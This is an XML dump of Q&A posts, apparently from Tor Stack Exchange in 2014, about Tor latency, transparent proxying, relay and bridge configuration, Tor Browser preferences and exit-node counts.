  <row Id="4317" PostTypeId="2" ParentId="4314" CreationDate="2014-10-10T11:35:14.157" Score="1" Body="&lt;p&gt;When you are using Tor, your traffic not only goes through the internet routers but among them passes at least 3 other routers (onion routers) these ones have to decrypt part of the information and forward it, which would cause additional time too, so the answer is &lt;strong&gt;yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor exit nodes are used by many users at the time and usually their bandwidth is slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Tor works only over TCP protocol so UDP packets don't go over Tor and as far as I know, most online games for which the ping matters use UDP because TCP is not suitable for them. You may have heard about the lag (lost packets) that is because UDP.&lt;/p&gt;&#xA;" OwnerUserId="3825" LastEditorUserId="350" LastEditDate="2014-10-10T19:10:14.787" LastActivityDate="2014-10-10T19:10:14.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4318" PostTypeId="1" CreationDate="2014-10-10T13:40:40.227" Score="1" ViewCount="2415" Body="&lt;p&gt;Host UBUNTU 14.04 i need redirect all traffic from VirtualBox Windows guest OS in a network of TOR? How to do it correctly to prevent leaks?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2014-10-12T20:08:25.823" Title="Redirect all traffic from VirtualBox in a Tor" Tags="|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4320" PostTypeId="2" ParentId="4294" CreationDate="2014-10-11T01:45:33.993" Score="1" Body="&lt;p&gt;I think the question is asking about default HTTP headers in Tor Browser Bundle. Here they are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Accept:             text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&#xA;Accept-Encoding:    gzip, deflate&#xA;Accept-Language:    en-us,en;q=0.5&#xA;User-Agent:         Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user3249" LastActivityDate="2014-10-11T01:45:33.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4321" PostTypeId="1" CreationDate="2014-10-11T02:03:34.833" Score="4" ViewCount="2850" Body="&lt;p&gt;I downloaded Tor some time now, just to try it, it turned out that resolved a problem that was not exactly the anonymity, but speed. I'm from Venezuela, and ISPs here are affected by the economic problems of the country, so they can not improve their platforms, so the internet service is lousy, reaching sometimes be null. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a research I did through the internet, I found out that several people were testing their internet connections through pages of speed test and came to the conclusion that the service providers were limiting the internet connection to those who use torrent and download programs like jdownloader, and those who just surf the internet, had his speed to maximum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I download Tor to avoid government restrictions about a website, and discovered that my internet speed had increased from 10% of what I pay to 100% and was constant, without loss, then I continue using Tor, I recommended it to my girlfriend, and download it at work, and worked perfectly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think was happening was that Tor prevented my IP from being tracked by my ISP and managed to limit my download speed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the trick no longer works, both in my work and in my girlfriend's house and in my house, so I guess that they detected the trick, I guess they tracked all these IPs, and also restricted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well sorry for the long story so much, and for my bad English, but could be a way to make it work again?&lt;/p&gt;&#xA;" OwnerUserId="3832" LastEditorUserId="88" LastEditDate="2016-04-07T16:24:12.917" LastActivityDate="2016-04-07T16:24:12.917" Title="Tor and download speed" Tags="|bridge|speed|surveillance|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4322" PostTypeId="1" AcceptedAnswerId="4324" CreationDate="2014-10-11T07:57:52.933" Score="2" ViewCount="826" Body="&lt;p&gt;I'm running an exit node on my Ubuntu V-Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using ARM to monitor it and of course, I have a dedicated user for the Tor-Server and I think, that this is the source of the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because, when I start ARM and Tor, I get the following Log-Entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 09:52:22 [ARM_NOTICE] We were unable to use any of your system's resolvers to get tor's connections. This is fine, but means that the conn-&#xA;   ections page will be empty. This is usually permissions related so if you would like to fix this then run arm with the same user as tor&#xA;   (ie, &quot;sudo -u &amp;lt;tor user&amp;gt; arm&quot;).&#xA; 09:52:07 [ARM_NOTICE] Unable to query connections with lsof, trying ss&#xA; 09:51:52 [ARM_NOTICE] Unable to query connections with sockstat, trying lsof&#xA; 09:51:37 [ARM_NOTICE] Unable to query connections with netstat, trying sockstat&#xA; 09:51:22 [ARM_NOTICE] Unable to query connections with proc, trying netstat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Confusing is, I see some connections under the connection tab, but they seem to dessappear after some runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even more confusing, Tor is running from the same user as ARM since ARM starts Tor...&#xA;I'm a little bit lost here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy for every input and idea&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm directly connecting to the user via SSH and start arm in a screen session. the executing user has all permissions needed and can at least run netstat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION!! : all it needed was this flag in the torrc&lt;/strong&gt; &lt;code&gt;DisableDebuggerAttachment 0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3203" LastEditorUserId="88" LastEditDate="2014-10-11T18:33:57.540" LastActivityDate="2014-10-25T22:14:38.210" Title="ARM - Unable to query connections" Tags="|nyx|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4324" PostTypeId="2" ParentId="4322" CreationDate="2014-10-11T14:35:50.673" Score="2" Body="&lt;p&gt;SOLUTION!! : all it needed was this flag in the torrc &lt;code&gt;DisableDebuggerAttachment 0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3203" LastEditorUserId="3203" LastEditDate="2014-10-25T22:14:38.210" LastActivityDate="2014-10-25T22:14:38.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4325" PostTypeId="1" CreationDate="2014-10-11T17:07:51.447" Score="7" ViewCount="4377" Body="&lt;p&gt;I am currently connected to Tor Network, according to Vidalia.&lt;/p&gt;&#xA;&lt;p&gt;When i tried to set up a non-exit relay, i got the following errors:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Server Port Reachability Test Failed - Your relay's server port is not reachable by other Tor clients. This can happen if you are behind a router or firewall that requires you to set up port forwarding. If X.X.X.X:10060 is not your correct IP address and server port, please check your relay's configuration.&#xA;Directory Port Reachability Test Failed - Your relay's directory port is not reachable by other Tor clients. This can happen if you are behind a router or firewall that requires you to set up port forwarding. If X.X.X.X:9030 is not your correct IP address and directory port, please check your relay's configuration.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;with this warning:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[Warning] Your server (X.X.X.X:10060) has not managed to confirm that its ORPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&lt;/p&gt;&#xA;&lt;p&gt;[Warning] Your server (X.X.X.X:9030) has not managed to confirm that its DirPort is reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I will try to include all the details i can:&lt;/p&gt;&#xA;&lt;p&gt;Note: Port forwarding was automatically configured by Vidalia (uPNP)&#xA;I manually added the entries for control and listening ports.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6VhYU.png&quot; alt=&quot;Port Forwarding&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XkBQ.png&quot; alt=&quot;Port triggering&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BaXE5.png&quot; alt=&quot;Windows Firewall&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gsLmr.png&quot; alt=&quot;Vidalia Settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And this is the &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;DataDirectory C:\Users\Anas\AppData\Roaming\tor&#xA;DirPort 9030&#xA;DirReqStatistics 0&#xA;ExitPolicy reject *:*&#xA;Log notice stdout&#xA;Nickname default&#xA;ORPort 10060&#xA;RelayBandwidthBurst 409600&#xA;RelayBandwidthRate 307200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3826" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-05-31T10:22:35.663" Title="Port Reachability Test Failed _ detailed info" Tags="|configuration|relays|vidalia|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4326" PostTypeId="2" ParentId="4069" CreationDate="2014-10-12T05:11:12.193" Score="0" Body="&lt;p&gt;There are sites like google that make life hard for Tor users, but usually the problem lies with extensions.  AirBnB seemingly works from my FireFox with HTTPS Everywhere installed, so the problem probably lies with NoScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hesitant to recommend this, but you could try running TBB with NoScript extension disabled temporarily.  Actually TBB might be smart enough not to let you do this.  Just remember whatever changes you make to TBB extensions configurations, so that you can undo them later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also write AirBnB a nice email saying you'd like to be able to access their site from TBB, maybe they'll fix it and add TBB to their Q&amp;amp;A process. &lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2014-10-12T05:11:12.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4327" PostTypeId="2" ParentId="4314" CreationDate="2014-10-12T20:02:59.317" Score="2" Body="&lt;p&gt;When running the browser bundle it only sends the data that goes in\out of the firefox portable browser that's included with the bundle through tor.&#xA;You say you play BF4 and that ping is not affected - it should not affect BF4 at all - since that traffic is not routed through tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to relay all traffic then you need transparent proxying or a 'middlebox' routing everything, which is not recommended on a windows OS machine, because of leaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Battlefield 4 is windows only, and also UDP communication is not supported through tor either, so playing games over tor like this makes no sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards of your youtube video question - it shows them with html5 video player instead of flash.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-10-12T20:02:59.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4328" PostTypeId="2" ParentId="4318" CreationDate="2014-10-12T20:08:25.823" Score="2" Body="&lt;p&gt;You can 'torify' your ubuntu machine, and route all traffic through tor, &#xA;see the wiki here for guides for that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can set up a 'Whonix' gateway, and put your windows virtual machine behind that.&#xA;There is a guide for that here:&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems#Windows-Whonix-Workstation&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Other_Operating_Systems#Windows-Whonix-Workstation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-10-12T20:08:25.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4330" PostTypeId="1" AcceptedAnswerId="4331" CreationDate="2014-10-13T12:40:51.960" Score="0" ViewCount="78" Body="&lt;p&gt;Are there any intrinsic risks in visiting an URL following the syntax &quot;&lt;a href=&quot;http://www.foo.com&quot; rel=&quot;nofollow&quot;&gt;http://www.foo.com&lt;/a&gt;&quot; rather than an URL following the syntax &quot;&lt;a href=&quot;http://foo.onion&quot; rel=&quot;nofollow&quot;&gt;http://foo.onion&lt;/a&gt;&quot;, all other things being equal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, why are there &quot;.onion&quot; URLs instead of just &quot;.com&quot; URLs? Is it simply to hide the web-service from non Tor users?&lt;/p&gt;&#xA;" OwnerUserId="4844" LastEditorUserId="88" LastEditDate="2014-10-13T12:47:01.573" LastActivityDate="2020-05-18T08:34:38.157" Title="Top-level domain label impact on anonymity" Tags="|onion-services|anonymity|url|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4331" PostTypeId="2" ParentId="4330" CreationDate="2014-10-13T15:58:36.280" Score="1" Body="&lt;p&gt;The .onion domain url makes the connection encrypted end-to-end, but the .com domain is routed to\from a exit node, so it's the exit node that has the risk of abuse and so on.&#xA;So - the onion domain is in a way more secure, but all in all it's considered safe either way.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-10-13T15:58:36.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4333" PostTypeId="2" ParentId="857" CreationDate="2014-10-13T17:27:33.230" Score="1" Body="&lt;p&gt;If you're referring to a scenario where you are using the same exit node as someone doing illegal activity is using, no. You'd be safe, because an adversary watching the exit node's traffic would only know what was sent from the exit node, not who sent it. So long as you're not de-anonymizing yourself, (Ex. logging into sites associated with you, using a credit card which is in your name, etc.) you'd be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're referring to a scenario where you're running a Tor exit node, and someone did something illegal from it, that depends on the laws of where you live. However, Tor exit nodes shouldn't be run from your home, and they should clearly identify themselves as Tor exit nodes. (take a look at &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot; rel=&quot;nofollow&quot;&gt;a Tor blog post about exit nodes&lt;/a&gt; for some more information on that)&lt;/p&gt;&#xA;" OwnerUserId="4847" LastActivityDate="2014-10-13T17:27:33.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4334" PostTypeId="1" AcceptedAnswerId="4342" CreationDate="2014-10-13T23:36:16.107" Score="0" ViewCount="980" Body="&lt;p&gt;I would like to be able to test out some web pages that I am making with the Tor Browser (v3.6.6) to make sure that they work with it. I can currently take the URL of the page I am working on and paste it into Tor Browser's address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to configure my web developer environment (in this case, Visual Studio) to open the pages in Tor automatically. Is there any way to do this in Windows? (I have seen information on how to do it in Linux, but that doesn't help me.)&lt;/p&gt;&#xA;" OwnerUserId="3663" LastActivityDate="2014-10-15T13:29:29.757" Title="Pass URL Arguments to Tor Browser in Windows" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4335" PostTypeId="2" ParentId="3226" CreationDate="2014-10-13T23:37:02.920" Score="1" Body="&lt;p&gt;It is safe. The auth cookie is just tor-level authentication. It doesn't divulge anything about your identity. &lt;/p&gt;&#xA;" OwnerUserId="3130" LastActivityDate="2014-10-13T23:37:02.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4336" PostTypeId="1" CreationDate="2014-10-14T10:57:40.610" Score="2" ViewCount="2472" Body="&lt;p&gt;To make a Tor Browser from Firefox ESR there are many settings should be changed for the about:config, so can I have a way to change these values in a shorter time or can I directly use Tor Browser in the TBB folder, so that what setting should I do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 # Default Preferences&#xA;2 # Tor Browser Bundle&#xA;3 # Do not edit this file.&#xA;4&#xA;5 // Disable browser auto updaters and associated homepage notifications&#xA;6 pref(&quot;app.update.auto&quot;, false);&#xA;7 pref(&quot;app.update.enabled&quot;, false);&#xA;8 pref(&quot;browser.search.update&quot;, false);&#xA;9 pref(&quot;browser.rights.3.shown&quot;, true);&#xA;10 pref(&quot;browser.startup.homepage_override.mstone&quot;, &quot;ignore&quot;);&#xA;11 pref(&quot;startup.homepage_welcome_url&quot;, &quot;&quot;);&#xA;12 pref(&quot;startup.homepage_override_url&quot;, &quot;&quot;);&#xA;13&#xA;14 // Disk activity: Disable Browsing History Storage&#xA;15 pref(&quot;browser.privatebrowsing.autostart&quot;, true);&#xA;16 pref(&quot;browser.cache.disk.enable&quot;, false);&#xA;17 pref(&quot;browser.cache.offline.enable&quot;, false);&#xA;18 pref(&quot;dom.indexedDB.enabled&quot;, false);&#xA;19 pref(&quot;permissions.memory_only&quot;, true);&#xA;20 pref(&quot;network.cookie.lifetimePolicy&quot;, 2);&#xA;21 pref(&quot;browser.download.manager.retention&quot;, 1);&#xA;22&#xA;23 // Disk activity: TBB Directory Isolation&#xA;24 pref(&quot;browser.download.useDownloadDir&quot;, false);&#xA;25 pref(&quot;browser.shell.checkDefaultBrowser&quot;, false);&#xA;26 pref(&quot;browser.download.manager.addToRecentDocs&quot;, false);&#xA;27&#xA;28 // Misc privacy: Disk&#xA;29 pref(&quot;signon.rememberSignons&quot;, false);&#xA;30 pref(&quot;browser.formfill.enable&quot;, false);&#xA;31 pref(&quot;signon.autofillForms&quot;, false);&#xA;32 pref(&quot;browser.sessionstore.privacy_level&quot;, 2);&#xA;33&#xA;34 // Misc privacy: Remote&#xA;35 pref(&quot;browser.send_pings&quot;, false);&#xA;36 pref(&quot;geo.enabled&quot;, false);&#xA;37 pref(&quot;geo.wifi.uri&quot;, &quot;&quot;);&#xA;38 pref(&quot;browser.search.suggest.enabled&quot;, false);&#xA;39 pref(&quot;browser.safebrowsing.enabled&quot;, false);&#xA;40 pref(&quot;browser.safebrowsing.malware.enabled&quot;, false);&#xA;41 pref(&quot;browser.download.manager.scanWhenDone&quot;, false); // prevents AV remote reporting of downloads&#xA;42 pref(&quot;extensions.ui.lastCategory&quot;, &quot;addons://list/extension&quot;);&#xA;43&#xA;44 // Fingerprinting&#xA;45 pref(&quot;webgl.min_capability_mode&quot;, true);&#xA;46 pref(&quot;webgl.disable-extensions&quot;, true);&#xA;47 pref(&quot;dom.battery.enabled&quot;, false); // fingerprinting due to differing OS implementations&#xA;48 pref(&quot;dom.network.enabled&quot;,false); // fingerprinting due to differing OS implementations&#xA;49 pref(&quot;browser.display.max_font_attempts&quot;,10);&#xA;50 pref(&quot;browser.display.max_font_count&quot;,10);&#xA;51 pref(&quot;gfx.downloadable_fonts.fallback_delay&quot;, -1);&#xA;52 pref(&quot;general.appname.override&quot;, &quot;Netscape&quot;);&#xA;53 pref(&quot;general.appversion.override&quot;, &quot;5.0 (Windows)&quot;);&#xA;54 pref(&quot;general.useragent.locale&quot;, &quot;SHPONKA&quot;);&#xA;55 pref(&quot;general.oscpu.override&quot;, &quot;Windows NT 6.1&quot;);&#xA;56 pref(&quot;general.platform.override&quot;, &quot;Win32&quot;);&#xA;57 pref(&quot;general.useragent.override&quot;, &quot;Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101 Firefox/17.0&quot;);&#xA;58 pref(&quot;general.productSub.override&quot;, &quot;20100101&quot;);&#xA;59 pref(&quot;general.buildID.override&quot;, &quot;20100101&quot;);&#xA;60 pref(&quot;browser.startup.homepage_override.buildID&quot;, &quot;20100101&quot;);&#xA;61 pref(&quot;general.useragent.vendor&quot;, &quot;&quot;);&#xA;62 pref(&quot;general.useragent.vendorSub&quot;, &quot;&quot;);&#xA;63 pref(&quot;dom.enable_performance&quot;, false);&#xA;64 pref(&quot;plugin.expose_full_path&quot;, false);&#xA;65 pref(&quot;browser.zoom.siteSpecific&quot;, false);&#xA;66 // pref(&quot;intl.accept_languages&quot;, &quot;en-us, en&quot;); // Set by Torbutton&#xA;67 // pref(&quot;intl.accept_charsets&quot;, &quot;iso-8859-1,*,utf-8&quot;); // Set by Torbutton&#xA;68 // pref(&quot;intl.charsetmenu.browser.cache&quot;, &quot;UTF-8&quot;); // Set by Torbutton&#xA;69&#xA;70 // Third party stuff&#xA;71 pref(&quot;network.cookie.cookieBehavior&quot;, 1);&#xA;72 pref(&quot;security.enable_tls_session_tickets&quot;, false);&#xA;73 pref(&quot;network.http.spdy.enabled&quot;, false); // Stores state and may have keepalive issues (both fixable)&#xA;74 pref(&quot;network.http.spdy.enabled.v2&quot;, false); // Seems redundant, but just in case&#xA;75 pref(&quot;network.http.spdy.enabled.v3&quot;, false); // Seems redundant, but just in case&#xA;76&#xA;77 // Proxy and proxy security&#xA;78 pref(&quot;network.proxy.socks&quot;, &quot;127.0.0.1&quot;);&#xA;79 pref(&quot;network.proxy.socks_port&quot;, 9150);&#xA;80 pref(&quot;network.proxy.socks_remote_dns&quot;, true);&#xA;81 pref(&quot;network.proxy.type&quot;, 1);&#xA;82 pref(&quot;network.security.ports.banned&quot;, &quot;9050,9051,9150,9151&quot;);&#xA;83 pref(&quot;network.dns.disablePrefetch&quot;, true);&#xA;84 pref(&quot;network.protocol-handler.external-default&quot;, false);&#xA;85 pref(&quot;network.protocol-handler.external.mailto&quot;, false);&#xA;86 pref(&quot;network.protocol-handler.external.news&quot;, false);&#xA;87 pref(&quot;network.protocol-handler.external.nntp&quot;, false);&#xA;88 pref(&quot;network.protocol-handler.external.snews&quot;, false);&#xA;89 pref(&quot;network.protocol-handler.warn-external.mailto&quot;, true);&#xA;90 pref(&quot;network.protocol-handler.warn-external.news&quot;, true);&#xA;91 pref(&quot;network.protocol-handler.warn-external.nntp&quot;, true);&#xA;92 pref(&quot;network.protocol-handler.warn-external.snews&quot;, true);&#xA;93 pref(&quot;plugins.click_to_play&quot;, true);&#xA;94 pref(&quot;plugin.state.flash&quot;, 1);&#xA;95 pref(&quot;plugins.hide_infobar_for_missing_plugin&quot;, true);&#xA;96&#xA;97 // Network and performance&#xA;98 pref(&quot;network.http.pipelining&quot;, true);&#xA;99 pref(&quot;network.http.pipelining.aggressive&quot;, true);&#xA;100 pref(&quot;network.http.pipelining.maxrequests&quot;, 12);&#xA;101 pref(&quot;network.http.pipelining.ssl&quot;, true);&#xA;102 pref(&quot;network.http.proxy.pipelining&quot;, true);&#xA;103 pref(&quot;security.ssl.enable_false_start&quot;, true);&#xA;104 pref(&quot;network.http.keep-alive.timeout&quot;, 20);&#xA;105 pref(&quot;network.http.connection-retry-timeout&quot;, 0);&#xA;106 pref(&quot;network.http.max-persistent-connections-per-proxy&quot;, 256);&#xA;107 pref(&quot;network.http.pipelining.reschedule-timeout&quot;, 15000);&#xA;108 pref(&quot;network.http.pipelining.read-timeout&quot;, 60000);&#xA;109 // Hacked pref: Now means &quot;Attempt to pipeline at least this many requests together&quot;&#xA;110 pref(&quot;network.http.pipelining.max-optimistic-requests&quot;, 3);&#xA;111&#xA;112 // Extension support&#xA;113 pref(&quot;extensions.autoDisableScopes&quot;, 0);&#xA;114 pref(&quot;extensions.bootstrappedAddons&quot;, &quot;{}&quot;);&#xA;115 pref(&quot;extensions.checkCompatibility.4.*&quot;, false);&#xA;116 pref(&quot;extensions.databaseSchema&quot;, 3);&#xA;117 pref(&quot;extensions.enabledAddons&quot;, &quot;https-everywhere%40eff.org:3.1.4,%7B73a6fe31-595d-460b-a920-fcc0f8843232%7D:2.6.6.1,torbutton%40torproject.org:1.5.2,ubufox%40ubuntu.com:2.6,tor-launcher%40torproject.org:0.1.1pre-alpha,%7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:17.0.5&quot;);&#xA;118 pref(&quot;extensions.enabledItems&quot;, &quot;langpack-en-US@firefox.mozilla.org:,{73a6fe31-595d-460b-a920-fcc0f8843232}:1.9.9.57,{e0204bd5-9d31-402b-a99d-a6aa8ffebdca}:1.2.4,{972ce4c6-7e08-4474-a285-3208198ce6fd}:3.5.8&quot;);&#xA;119 pref(&quot;extensions.enabledScopes&quot;, 1);&#xA;120 pref(&quot;extensions.pendingOperations&quot;, false);&#xA;121 pref(&quot;xpinstall.whitelist.add&quot;, &quot;&quot;);&#xA;122 pref(&quot;xpinstall.whitelist.add.36&quot;, &quot;&quot;);&#xA;123&#xA;124 // Omnibox settings&#xA;125 pref(&quot;keyword.URL&quot;, &quot;https://startpage.com/do/search?q=&quot;);&#xA;126&#xA;127 // Hacks/workarounds: Direct2D seems to crash w/ lots of video cards w/ MinGW?&#xA;128 // If only the first one is set to true then the Tor Network Settings are blank&#xA;129 // on some Windows machines.&#xA;130 pref(&quot;gfx.direct2d.disabled&quot;, true);&#xA;131 pref(&quot;layers.acceleration.disabled&quot;, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2015-06-28T08:54:06.897" Title="How to import Tor Browser profile" Tags="|firefox|fingerprinting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4337" PostTypeId="1" CreationDate="2014-10-14T18:53:50.887" Score="2" ViewCount="6275" Body="&lt;p&gt;I use Tor since some months now and wonder how many different IPs are usable? I often check my IP and sometimes I see IP which i remember from some days before. &#xA;But I found this site: &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt; which shows that the possible number of IPs is nearly endless.&#xA;Are all the IPs listed on the page used in Tor or what is the meaning of it? For me it seems I can only use 50 or 100 different IPS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for you help in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="4852" LastEditorUserId="88" LastEditDate="2014-10-16T22:43:43.190" LastActivityDate="2014-10-26T14:57:48.170" Title="How many different IPs are used in Tor?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4338" PostTypeId="1" CreationDate="2014-10-14T18:59:21.837" Score="1" ViewCount="489" Body="&lt;p&gt;How does one run (and verify) a scramblesuit server. I'm using the following configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ServerTransportListenAddr scramblesuit 0.0.0.0:65222&#xA; ServerTransportPlugin scramblesuit exec /usr/local/bin/obfsproxy \&#xA;        --log-min-severity=debug \&#xA;        --log-file=/tmp/scramblesuit-server.log \&#xA;        managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I understand it, this auto-generates a password that I can use with the client. I have the ORPort of 443 (listening on 0.0.0.0) and it's enabled as a bridge. I've found some people connect back to confirm that it's working using a command like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfsproxy scramblesuit --password=XXXXXXXX client my.external.ip:65222&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to connect manually using the above command, the obfsproxy log does not show anything is connecting. Similarly when I try to connect manually using the TBB Experimental build it does the same thing. I've confirmed I can poke at the service using netcat and it logs that something is trying to connect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed obfsproxy from pip (not Debian or from source) and is running version 0.2.12. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is does someone see a mis-configuration and second, does someone have a good way of verifying whether or not obfsproxy is running correctly by connecting to it via loopback. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2014-10-14T18:59:21.837" Title="ScrambleSuit Server configuration" Tags="|pluggable-transports|obfsproxy|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4339" PostTypeId="2" ParentId="4337" CreationDate="2014-10-15T01:08:13.380" Score="7" Body="&lt;p&gt;According to that website there is 1096 exit-nodes in the network.&#xA;The graphs on &lt;a href=&quot;https://metrics.torproject.org/network.html&quot; rel=&quot;noreferrer&quot;&gt;Tor Metrics&lt;/a&gt; seem to suggest a similar number, maybe ~1300.&lt;/p&gt;&#xA;&lt;p&gt;Exit nodes are the relays that forward your traffic to whatever servers you're trying to talk to, so they're the ones that give you your IP address.&#xA;Therefore there's about 1096 or 1300 different IP addresses that you could end up with when you use Tor.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-10-15T01:08:13.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4341" PostTypeId="1" CreationDate="2014-10-15T12:28:03.080" Score="2" ViewCount="282" Body="&lt;p&gt;I see in atlas that for each exit relay there's the available bandwidth and the currently used bandwidth. My question is, how the available bandwidth is calculated? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask that because there's something not clear for me, in fact I run a tor exit relay on one of my &lt;strong&gt;gigabit servers&lt;/strong&gt; (&lt;a href=&quot;https://atlas.torproject.org/#details/FD233AC55F4618972F9D978801F33E9F87A8CB96&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#details/FD233AC55F4618972F9D978801F33E9F87A8CB96&lt;/a&gt;) but the actually used bandwidth is always few Mbps (it is running from months, it's not a new one). &lt;/p&gt;&#xA;" OwnerUserId="4861" LastActivityDate="2015-03-14T16:22:57.120" Title="Relay bandwidth" Tags="|bandwidth|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
